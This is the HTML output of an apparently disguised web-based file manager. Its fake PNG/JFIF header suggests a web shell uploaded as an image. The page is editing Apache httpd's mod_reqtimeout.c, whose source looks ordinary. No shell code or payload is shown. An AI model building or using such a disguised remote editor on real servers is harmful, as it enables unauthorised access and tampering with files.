�PNG
�JFIF������
<style>  
body { background:#1a1a1a; color:#ccc; font-family:monospace; padding:20px; }  
a { color:#6cf; text-decoration:none; }  
a:hover { text-decoration:underline; }  
textarea,input[type=text] { width:100%; font-family:monospace; background:#222; color:#fff; border:1px solid #444; }  
input[type=submit] { background:#333; color:#fff; border:none; padding:5px 10px; }  
</style><h2>🗂️ simple</h2><p><b>Path:</b> <a href='?path=%2Fbig%2F'>big</a>/<a href='?path=%2Fbig%2FSRC%2F'>SRC</a>/<a href='?path=%2Fbig%2FSRC%2Fhttpd-2.4.63%2F'>httpd-2.4.63</a>/<a href='?path=%2Fbig%2FSRC%2Fhttpd-2.4.63%2Fmodules%2F'>modules</a>/<a href='?path=%2Fbig%2FSRC%2Fhttpd-2.4.63%2Fmodules%2Ffilters%2F'>filters</a>/</p><hr><h3>✏️ Editing: mod_reqtimeout.c</h3>  
        <form method='post'>  
            <textarea name='content' rows='20'>/* Licensed to the Apache Software Foundation (ASF) under one or more
 * contributor license agreements.  See the NOTICE file distributed with
 * this work for additional information regarding copyright ownership.
 * The ASF licenses this file to You under the Apache License, Version 2.0
 * (the &quot;License&quot;); you may not use this file except in compliance with
 * the License.  You may obtain a copy of the License at
 *
 *     http://www.apache.org/licenses/LICENSE-2.0
 *
 * Unless required by applicable law or agreed to in writing, software
 * distributed under the License is distributed on an &quot;AS IS&quot; BASIS,
 * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
 * See the License for the specific language governing permissions and
 * limitations under the License.
 */

#include &quot;httpd.h&quot;
#include &quot;http_config.h&quot;
#include &quot;http_request.h&quot;
#include &quot;http_connection.h&quot;
#include &quot;http_protocol.h&quot;
#include &quot;http_log.h&quot;
#include &quot;http_core.h&quot;
#include &quot;util_filter.h&quot;
#define APR_WANT_STRFUNC
#include &quot;apr_strings.h&quot;
#include &quot;apr_version.h&quot;

module AP_MODULE_DECLARE_DATA reqtimeout_module;

#define UNSET                            -1
#define MRT_DEFAULT_handshake_TIMEOUT     0 /* disabled */
#define MRT_DEFAULT_handshake_MAX_TIMEOUT 0
#define MRT_DEFAULT_handshake_MIN_RATE    0
#define MRT_DEFAULT_header_TIMEOUT       20
#define MRT_DEFAULT_header_MAX_TIMEOUT   40
#define MRT_DEFAULT_header_MIN_RATE      500
#define MRT_DEFAULT_body_TIMEOUT         20
#define MRT_DEFAULT_body_MAX_TIMEOUT     0
#define MRT_DEFAULT_body_MIN_RATE        500

typedef struct
{
    int timeout;            /* timeout in secs */
    int max_timeout;        /* max timeout in secs */
    int min_rate;           /* min rate in bytes/s */
    apr_time_t rate_factor; /* scale factor (#usecs per min_rate) */
} reqtimeout_stage_t;

typedef struct
{
    reqtimeout_stage_t handshake;   /* Handshaking (TLS) */
    reqtimeout_stage_t header;      /* Reading the HTTP header */
    reqtimeout_stage_t body;        /* Reading the HTTP body */
} reqtimeout_srv_cfg;

/* this struct is used both as conn_config and as filter context */
typedef struct
{
    apr_time_t timeout_at;
    apr_time_t max_timeout_at;
    reqtimeout_stage_t cur_stage;
    int in_keep_alive;
    char *type;
    apr_socket_t *socket;
    apr_bucket_brigade *tmpbb;
} reqtimeout_con_cfg;

static const char *const reqtimeout_filter_name = &quot;reqtimeout&quot;;
static int default_handshake_rate_factor;
static int default_header_rate_factor;
static int default_body_rate_factor;

static void extend_timeout(reqtimeout_con_cfg *ccfg, apr_bucket_brigade *bb)
{
    apr_off_t len;
    apr_time_t new_timeout_at;

    if (apr_brigade_length(bb, 0, &amp;len) != APR_SUCCESS || len &lt;= 0)
        return;

    new_timeout_at = ccfg-&gt;timeout_at + len * ccfg-&gt;cur_stage.rate_factor;
    if (ccfg-&gt;max_timeout_at &gt; 0 &amp;&amp; new_timeout_at &gt; ccfg-&gt;max_timeout_at) {
        ccfg-&gt;timeout_at = ccfg-&gt;max_timeout_at;
    }
    else {
        ccfg-&gt;timeout_at = new_timeout_at;
    }
}

static apr_status_t check_time_left(reqtimeout_con_cfg *ccfg,
                                    apr_time_t *time_left_p,
                                    apr_time_t now)
{
    if (!now)
        now = apr_time_now();
    *time_left_p = ccfg-&gt;timeout_at - now;
    if (*time_left_p &lt;= 0)
        return APR_TIMEUP;

    if (*time_left_p &lt; apr_time_from_sec(1)) {
        *time_left_p = apr_time_from_sec(1);
    }
    return APR_SUCCESS;
}

static apr_status_t have_lf_or_eos(apr_bucket_brigade *bb)
{
    apr_bucket *b = APR_BRIGADE_LAST(bb);

    for ( ; b != APR_BRIGADE_SENTINEL(bb) ; b = APR_BUCKET_PREV(b) ) {
        const char *str;
        apr_size_t len;
        apr_status_t rv;

        if (APR_BUCKET_IS_EOS(b))
            return APR_SUCCESS;

        if (APR_BUCKET_IS_METADATA(b))
            continue;

        rv = apr_bucket_read(b, &amp;str, &amp;len, APR_BLOCK_READ);
        if (rv != APR_SUCCESS)
            return rv;

        if (len == 0)
            continue;

        if (str[len-1] == APR_ASCII_LF)
            return APR_SUCCESS;
    }
    return APR_INCOMPLETE;
}

/*
 * Append bbIn to bbOut and merge small buckets, to avoid DoS by high memory
 * usage
 */
static apr_status_t brigade_append(apr_bucket_brigade *bbOut, apr_bucket_brigade *bbIn)
{
    while (!APR_BRIGADE_EMPTY(bbIn)) {
        apr_bucket *e = APR_BRIGADE_FIRST(bbIn);
        const char *str;
        apr_size_t len;
        apr_status_t rv;

        rv = apr_bucket_read(e, &amp;str, &amp;len, APR_BLOCK_READ);
        if (rv != APR_SUCCESS) {
            return rv;
        }

        APR_BUCKET_REMOVE(e);
        if (APR_BUCKET_IS_METADATA(e) || len &gt; APR_BUCKET_BUFF_SIZE/4) {
            APR_BRIGADE_INSERT_TAIL(bbOut, e);
        }
        else {
            if (len &gt; 0) {
                rv = apr_brigade_write(bbOut, NULL, NULL, str, len);
                if (rv != APR_SUCCESS) {
                    apr_bucket_destroy(e);
                    return rv;
                }
            }
            apr_bucket_destroy(e);
        }
    }
    return APR_SUCCESS;
}


#define MIN(x,y) ((x) &lt; (y) ? (x) : (y))
static apr_status_t reqtimeout_filter(ap_filter_t *f,
                                      apr_bucket_brigade *bb,
                                      ap_input_mode_t mode,
                                      apr_read_type_e block,
                                      apr_off_t readbytes)
{
    apr_time_t time_left;
    apr_time_t now = 0;
    apr_status_t rv;
    apr_interval_time_t saved_sock_timeout = UNSET;
    reqtimeout_con_cfg *ccfg = f-&gt;ctx;

    if (ccfg-&gt;in_keep_alive) {
        /* For this read[_request line()], wait for the first byte using the
         * normal keep-alive timeout (hence don&#039;t take this expected idle time
         * into account to setup the connection expiry below).
         */
        ccfg-&gt;in_keep_alive = 0;
        rv = ap_get_brigade(f-&gt;next, bb, AP_MODE_SPECULATIVE, block, 1);
        if (rv != APR_SUCCESS || APR_BRIGADE_EMPTY(bb)) {
            return rv;
        }
        apr_brigade_cleanup(bb);
    }

    if (ccfg-&gt;cur_stage.timeout &gt; 0) {
        /* set new timeout */
        now = apr_time_now();
        ccfg-&gt;timeout_at = now + apr_time_from_sec(ccfg-&gt;cur_stage.timeout);
        ccfg-&gt;cur_stage.timeout = 0;
        if (ccfg-&gt;cur_stage.max_timeout &gt; 0) {
            ccfg-&gt;max_timeout_at = now + apr_time_from_sec(ccfg-&gt;cur_stage.max_timeout);
            ccfg-&gt;cur_stage.max_timeout = 0;
        }
    }
    else if (ccfg-&gt;timeout_at == 0) {
        /* no timeout set, or in between requests */
        return ap_get_brigade(f-&gt;next, bb, mode, block, readbytes);
    }

    if (!ccfg-&gt;socket) {
        ccfg-&gt;socket = ap_get_conn_socket(f-&gt;c);
    }

    rv = check_time_left(ccfg, &amp;time_left, now);
    if (rv != APR_SUCCESS)
        goto out;

    if (block == APR_NONBLOCK_READ || mode == AP_MODE_INIT
        || mode == AP_MODE_EATCRLF) {
        rv = ap_get_brigade(f-&gt;next, bb, mode, block, readbytes);
        if (ccfg-&gt;cur_stage.rate_factor &amp;&amp; rv == APR_SUCCESS) {
            extend_timeout(ccfg, bb);
        }
        return rv;
    }

    rv = apr_socket_timeout_get(ccfg-&gt;socket, &amp;saved_sock_timeout);
    AP_DEBUG_ASSERT(rv == APR_SUCCESS);

    rv = apr_socket_timeout_set(ccfg-&gt;socket, MIN(time_left, saved_sock_timeout));
    AP_DEBUG_ASSERT(rv == APR_SUCCESS);

    if (mode == AP_MODE_GETLINE) {
        /*
         * For a blocking AP_MODE_GETLINE read, apr_brigade_split_line()
         * would loop until a whole line has been read. As this would make it
         * impossible to enforce a total timeout, we only do non-blocking
         * reads.
         */
        apr_off_t remaining = HUGE_STRING_LEN;
        do {
            apr_off_t bblen;
#if APR_MAJOR_VERSION &lt; 2
            apr_int32_t nsds;
            apr_interval_time_t poll_timeout;
            apr_pollfd_t pollset;
#endif

            rv = ap_get_brigade(f-&gt;next, bb, AP_MODE_GETLINE, APR_NONBLOCK_READ, remaining);
            if (rv != APR_SUCCESS &amp;&amp; !APR_STATUS_IS_EAGAIN(rv)) {
                break;
            }

            if (!APR_BRIGADE_EMPTY(bb)) {
                if (ccfg-&gt;cur_stage.rate_factor) {
                    extend_timeout(ccfg, bb);
                }

                rv = have_lf_or_eos(bb);
                if (rv != APR_INCOMPLETE) {
                    break;
                }

                rv = apr_brigade_length(bb, 1, &amp;bblen);
                if (rv != APR_SUCCESS) {
                    break;
                }
                remaining -= bblen;
                if (remaining &lt;= 0) {
                    break;
                }

                /* Haven&#039;t got a whole line yet, save what we have ... */
                if (!ccfg-&gt;tmpbb) {
                    ccfg-&gt;tmpbb = apr_brigade_create(f-&gt;c-&gt;pool, f-&gt;c-&gt;bucket_alloc);
                }
                rv = brigade_append(ccfg-&gt;tmpbb, bb);
                if (rv != APR_SUCCESS)
                    break;
            }

            /* ... and wait for more */
#if APR_MAJOR_VERSION &lt; 2
            pollset.p = f-&gt;c-&gt;pool;
            pollset.desc_type = APR_POLL_SOCKET;
            pollset.reqevents = APR_POLLIN|APR_POLLHUP;
            pollset.desc.s = ccfg-&gt;socket;
            apr_socket_timeout_get(ccfg-&gt;socket, &amp;poll_timeout);
            rv = apr_poll(&amp;pollset, 1, &amp;nsds, poll_timeout);
#else
            rv = apr_socket_wait(ccfg-&gt;socket, APR_WAIT_READ);
#endif
            if (rv != APR_SUCCESS)
                break;

            rv = check_time_left(ccfg, &amp;time_left, 0);
            if (rv != APR_SUCCESS)
                break;

            rv = apr_socket_timeout_set(ccfg-&gt;socket,
                                   MIN(time_left, saved_sock_timeout));
            AP_DEBUG_ASSERT(rv == APR_SUCCESS);

        } while (1);

        if (ccfg-&gt;tmpbb)
            APR_BRIGADE_PREPEND(bb, ccfg-&gt;tmpbb);

    }
    else { /* mode != AP_MODE_GETLINE */
        rv = ap_get_brigade(f-&gt;next, bb, mode, block, readbytes);
        /* Don&#039;t extend the timeout in speculative mode, wait for
         * the real (relevant) bytes to be asked later, within the
         * currently allotted time.
         */
        if (ccfg-&gt;cur_stage.rate_factor &amp;&amp; rv == APR_SUCCESS
                &amp;&amp; mode != AP_MODE_SPECULATIVE) {
            extend_timeout(ccfg, bb);
        }
    }

    apr_socket_timeout_set(ccfg-&gt;socket, saved_sock_timeout);

out:
    if (APR_STATUS_IS_TIMEUP(rv)) {
        ap_log_cerror(APLOG_MARK, APLOG_INFO, 0, f-&gt;c, APLOGNO(01382)
                      &quot;Request %s read timeout&quot;, ccfg-&gt;type);
        /*
         * If we allow a normal lingering close, the client may keep this
         * process/thread busy for another 30s (MAX_SECS_TO_LINGER).
         * Therefore we tell ap_lingering_close() to shorten this period to
         * 2s (SECONDS_TO_LINGER).
         */
        apr_table_setn(f-&gt;c-&gt;notes, &quot;short-lingering-close&quot;, &quot;1&quot;);

        /*
         * Also, we must not allow keep-alive requests, as
         * ap_finalize_protocol() may ignore our error status (if the timeout
         * happened on a request body that is discarded).
         */
        f-&gt;c-&gt;keepalive = AP_CONN_CLOSE;
    }
    return rv;
}

static apr_status_t reqtimeout_eor(ap_filter_t *f, apr_bucket_brigade *bb)
{
    if (!APR_BRIGADE_EMPTY(bb) &amp;&amp; AP_BUCKET_IS_EOR(APR_BRIGADE_LAST(bb))) {
        reqtimeout_con_cfg *ccfg = f-&gt;ctx;
        ccfg-&gt;timeout_at = 0;
    }
    return ap_pass_brigade(f-&gt;next, bb);
}

#define INIT_STAGE(cfg, ccfg, stage) do { \
    if (cfg-&gt;stage.timeout != UNSET) { \
        ccfg-&gt;cur_stage.timeout     = cfg-&gt;stage.timeout; \
        ccfg-&gt;cur_stage.max_timeout = cfg-&gt;stage.max_timeout; \
        ccfg-&gt;cur_stage.rate_factor = cfg-&gt;stage.rate_factor; \
    } \
    else { \
        ccfg-&gt;cur_stage.timeout     = MRT_DEFAULT_##stage##_TIMEOUT; \
        ccfg-&gt;cur_stage.max_timeout = MRT_DEFAULT_##stage##_MAX_TIMEOUT; \
        ccfg-&gt;cur_stage.rate_factor = default_##stage##_rate_factor; \
    } \
} while (0)

static int reqtimeout_init(conn_rec *c)
{
    reqtimeout_con_cfg *ccfg;
    reqtimeout_srv_cfg *cfg;

    cfg = ap_get_module_config(c-&gt;base_server-&gt;module_config,
                               &amp;reqtimeout_module);
    AP_DEBUG_ASSERT(cfg != NULL);

    /* For compatibility, handshake timeout is disabled when UNSET (&lt; 0) */
    if (cfg-&gt;handshake.timeout &lt;= 0
            &amp;&amp; cfg-&gt;header.timeout == 0
            &amp;&amp; cfg-&gt;body.timeout == 0) {
        /* disabled for this vhost */
        return DECLINED;
    }

    ccfg = ap_get_module_config(c-&gt;conn_config, &amp;reqtimeout_module);
    if (ccfg == NULL) {
        ccfg = apr_pcalloc(c-&gt;pool, sizeof(reqtimeout_con_cfg));
        ap_set_module_config(c-&gt;conn_config, &amp;reqtimeout_module, ccfg);
        ap_add_output_filter(reqtimeout_filter_name, ccfg, NULL, c);
        ap_add_input_filter(reqtimeout_filter_name, ccfg, NULL, c);

        ccfg-&gt;type = &quot;handshake&quot;;
        if (cfg-&gt;handshake.timeout &gt; 0) {
            INIT_STAGE(cfg, ccfg, handshake);
        }
    }

    /* we are not handling the connection, we just do initialization */
    return DECLINED;
}

static void reqtimeout_before_header(request_rec *r, conn_rec *c)
{
    reqtimeout_srv_cfg *cfg;
    reqtimeout_con_cfg *ccfg =
        ap_get_module_config(c-&gt;conn_config, &amp;reqtimeout_module);

    if (ccfg == NULL) {
        /* not configured for this connection */
        return;
    }

    cfg = ap_get_module_config(c-&gt;base_server-&gt;module_config,
                               &amp;reqtimeout_module);
    AP_DEBUG_ASSERT(cfg != NULL);

    /* (Re)set the state for this new request, but ccfg-&gt;socket and
     * ccfg-&gt;tmpbb which have the lifetime of the connection.
     */
    ccfg-&gt;type = &quot;header&quot;;
    ccfg-&gt;timeout_at = 0;
    ccfg-&gt;max_timeout_at = 0;
    ccfg-&gt;in_keep_alive = (c-&gt;keepalives &gt; 0);
    INIT_STAGE(cfg, ccfg, header);
}

static int reqtimeout_before_body(request_rec *r)
{
    reqtimeout_srv_cfg *cfg;
    reqtimeout_con_cfg *ccfg =
        ap_get_module_config(r-&gt;connection-&gt;conn_config, &amp;reqtimeout_module);

    if (ccfg == NULL) {
        /* not configured for this connection */
        return OK;
    }
    cfg = ap_get_module_config(r-&gt;server-&gt;module_config,
                              &amp;reqtimeout_module);
    AP_DEBUG_ASSERT(cfg != NULL);

    ccfg-&gt;type = &quot;body&quot;;
    ccfg-&gt;timeout_at = 0;
    ccfg-&gt;max_timeout_at = 0;
    if (r-&gt;method_number == M_CONNECT) {
        /* disabled for a CONNECT request */
        ccfg-&gt;cur_stage.timeout = 0;
    }
    else {
        INIT_STAGE(cfg, ccfg, body);
    }
    return OK;
}

#define UNSET_STAGE(cfg, stage) do { \
    cfg-&gt;stage.timeout = UNSET; \
    cfg-&gt;stage.max_timeout = UNSET; \
    cfg-&gt;stage.min_rate = UNSET; \
} while (0)

static void *reqtimeout_create_srv_config(apr_pool_t *p, server_rec *s)
{
    reqtimeout_srv_cfg *cfg = apr_pcalloc(p, sizeof(reqtimeout_srv_cfg));

    UNSET_STAGE(cfg, handshake);
    UNSET_STAGE(cfg, header);
    UNSET_STAGE(cfg, body);

    return cfg;
}

#define MERGE_INT(cfg, base, add, val) \
    cfg-&gt;val = (add-&gt;val == UNSET) ? base-&gt;val : add-&gt;val
#define MERGE_STAGE(cfg, base, add, stage) do { \
    MERGE_INT(cfg, base, add, stage.timeout); \
    MERGE_INT(cfg, base, add, stage.max_timeout); \
    MERGE_INT(cfg, base, add, stage.min_rate); \
    cfg-&gt;stage.rate_factor = (cfg-&gt;stage.min_rate == UNSET) \
                             ? base-&gt;stage.rate_factor \
                             : add-&gt;stage.rate_factor; \
} while (0)

static void *reqtimeout_merge_srv_config(apr_pool_t *p, void *base_, void *add_)
{
    reqtimeout_srv_cfg *base = base_;
    reqtimeout_srv_cfg *add  = add_;
    reqtimeout_srv_cfg *cfg  = apr_pcalloc(p, sizeof(reqtimeout_srv_cfg));

    MERGE_STAGE(cfg, base, add, handshake);
    MERGE_STAGE(cfg, base, add, header);
    MERGE_STAGE(cfg, base, add, body);

    return cfg;
}

static const char *parse_int(apr_pool_t *p, const char *arg, int *val)
{
    char *endptr;
    *val = strtol(arg, &amp;endptr, 10);

    if (arg == endptr) {
        return apr_psprintf(p, &quot;Value &#039;%s&#039; not numerical&quot;, endptr);
    }
    if (*endptr != &#039;\0&#039;) {
        return apr_psprintf(p, &quot;Cannot parse &#039;%s&#039;&quot;, endptr);
    }
    if (*val &lt; 0) {
        return &quot;Value must be non-negative&quot;;
    }
    return NULL;
}

static const char *set_reqtimeout_param(reqtimeout_srv_cfg *conf,
                                      apr_pool_t *p,
                                      const char *key,
                                      const char *val)
{
    const char *ret = NULL;
    char *rate_str = NULL, *initial_str, *max_str = NULL;
    reqtimeout_stage_t *stage;

    if (!strcasecmp(key, &quot;handshake&quot;)) {
        stage = &amp;conf-&gt;handshake;
    }
    else if (!strcasecmp(key, &quot;header&quot;)) {
        stage = &amp;conf-&gt;header;
    }
    else if (!strcasecmp(key, &quot;body&quot;)) {
        stage = &amp;conf-&gt;body;
    }
    else {
        return &quot;Unknown RequestReadTimeout parameter&quot;;
    }

    memset(stage, 0, sizeof(*stage));

    if ((rate_str = ap_strcasestr(val, &quot;,minrate=&quot;))) {
        initial_str = apr_pstrndup(p, val, rate_str - val);
        rate_str += strlen(&quot;,minrate=&quot;);
        ret = parse_int(p, rate_str, &amp;stage-&gt;min_rate);
        if (ret)
            return ret;

        if (stage-&gt;min_rate == 0)
            return &quot;Minimum data rate must be larger than 0&quot;;

        if ((max_str = strchr(initial_str, &#039;-&#039;))) {
            *max_str++ = &#039;\0&#039;;
            ret = parse_int(p, max_str, &amp;stage-&gt;max_timeout);
            if (ret)
                return ret;
        }

        ret = parse_int(p, initial_str, &amp;stage-&gt;timeout);
    }
    else {
        if (ap_strchr_c(val, &#039;-&#039;))
            return &quot;Must set MinRate option if using timeout range&quot;;
        ret = parse_int(p, val, &amp;stage-&gt;timeout);
    }
    if (ret)
        return ret;

    if (stage-&gt;max_timeout &amp;&amp; stage-&gt;timeout &gt;= stage-&gt;max_timeout) {
        return &quot;Maximum timeout must be larger than initial timeout&quot;;
    }

    if (stage-&gt;min_rate) {
        stage-&gt;rate_factor = apr_time_from_sec(1) / stage-&gt;min_rate;
    }

    return NULL;
}

static const char *set_reqtimeouts(cmd_parms *cmd, void *mconfig,
                                   const char *arg)
{
    reqtimeout_srv_cfg *conf =
    ap_get_module_config(cmd-&gt;server-&gt;module_config,
                         &amp;reqtimeout_module);

    while (*arg) {
        char *word, *val;
        const char *err;

        word = ap_getword_conf(cmd-&gt;temp_pool, &amp;arg);
        val = strchr(word, &#039;=&#039;);
        if (!val) {
            return &quot;Invalid RequestReadTimeout parameter. Parameter must be &quot;
            &quot;in the form &#039;key=value&#039;&quot;;
        }
        else
            *val++ = &#039;\0&#039;;

        err = set_reqtimeout_param(conf, cmd-&gt;pool, word, val);

        if (err)
            return apr_psprintf(cmd-&gt;temp_pool, &quot;RequestReadTimeout: %s=%s: %s&quot;,
                               word, val, err);
    }

    return NULL;

}

static void reqtimeout_hooks(apr_pool_t *pool)
{
    /*
     * mod_ssl is AP_FTYPE_CONNECTION + 5 and mod_reqtimeout needs to
     * be called before mod_ssl for the handshake stage to catch SSL traffic.
     */
    ap_register_input_filter(reqtimeout_filter_name, reqtimeout_filter, NULL,
                             AP_FTYPE_CONNECTION + 8);

    /*
     * We need to pause timeout detection in between requests, for
     * speculative and non-blocking reads, so between each outgoing EOR
     * and the next pre_read_request call.
     */
    ap_register_output_filter(reqtimeout_filter_name, reqtimeout_eor, NULL,
                              AP_FTYPE_CONNECTION);

    /*
     * mod_reqtimeout needs to be called before ap_process_http_request (which
     * is run at APR_HOOK_REALLY_LAST) but after all other protocol modules.
     * This ensures that it only influences normal http connections and not
     * e.g. mod_ftp. We still process it first though, for the handshake stage
     * to work with/before mod_ssl, but since it&#039;s disabled by default it won&#039;t
     * influence non-HTTP modules unless configured explicitly. Also, if
     * mod_reqtimeout used the pre_connection hook, it would be inserted on
     * mod_proxy&#039;s backend connections, and we don&#039;t want this.
     */
    ap_hook_process_connection(reqtimeout_init, NULL, NULL, APR_HOOK_FIRST);

    ap_hook_pre_read_request(reqtimeout_before_header, NULL, NULL,
                             APR_HOOK_MIDDLE);
    ap_hook_post_read_request(reqtimeout_before_body, NULL, NULL,
                              APR_HOOK_MIDDLE);

#if MRT_DEFAULT_handshake_MIN_RATE
    default_handshake_rate_factor = apr_time_from_sec(1) /
                                    MRT_DEFAULT_handshake_MIN_RATE;
#endif
#if MRT_DEFAULT_header_MIN_RATE
    default_header_rate_factor = apr_time_from_sec(1) /
                                 MRT_DEFAULT_header_MIN_RATE;
#endif
#if MRT_DEFAULT_body_MIN_RATE
    default_body_rate_factor = apr_time_from_sec(1) /
                               MRT_DEFAULT_body_MIN_RATE;
#endif
}

static const command_rec reqtimeout_cmds[] = {
    AP_INIT_RAW_ARGS(&quot;RequestReadTimeout&quot;, set_reqtimeouts, NULL, RSRC_CONF,
                     &quot;Set various timeout parameters for TLS handshake and/or &quot;
                     &quot;reading request headers and body&quot;),
    {NULL}
};

AP_DECLARE_MODULE(reqtimeout) = {
    STANDARD20_MODULE_STUFF,
    NULL,                           /* create per-dir config structures */
    NULL,                           /* merge  per-dir config structures */
    reqtimeout_create_srv_config,   /* create per-server config structures */
    reqtimeout_merge_srv_config,    /* merge per-server config structures */
    reqtimeout_cmds,                /* table of config file commands */
    reqtimeout_hooks
};
</textarea><br>  
            <input type='submit' value='Save'>  
        </form>  
        <p><a href='?path=%2Fbig%2FSRC%2Fhttpd-2.4.63%2Fmodules%2Ffilters'>🔙 Back</a></p>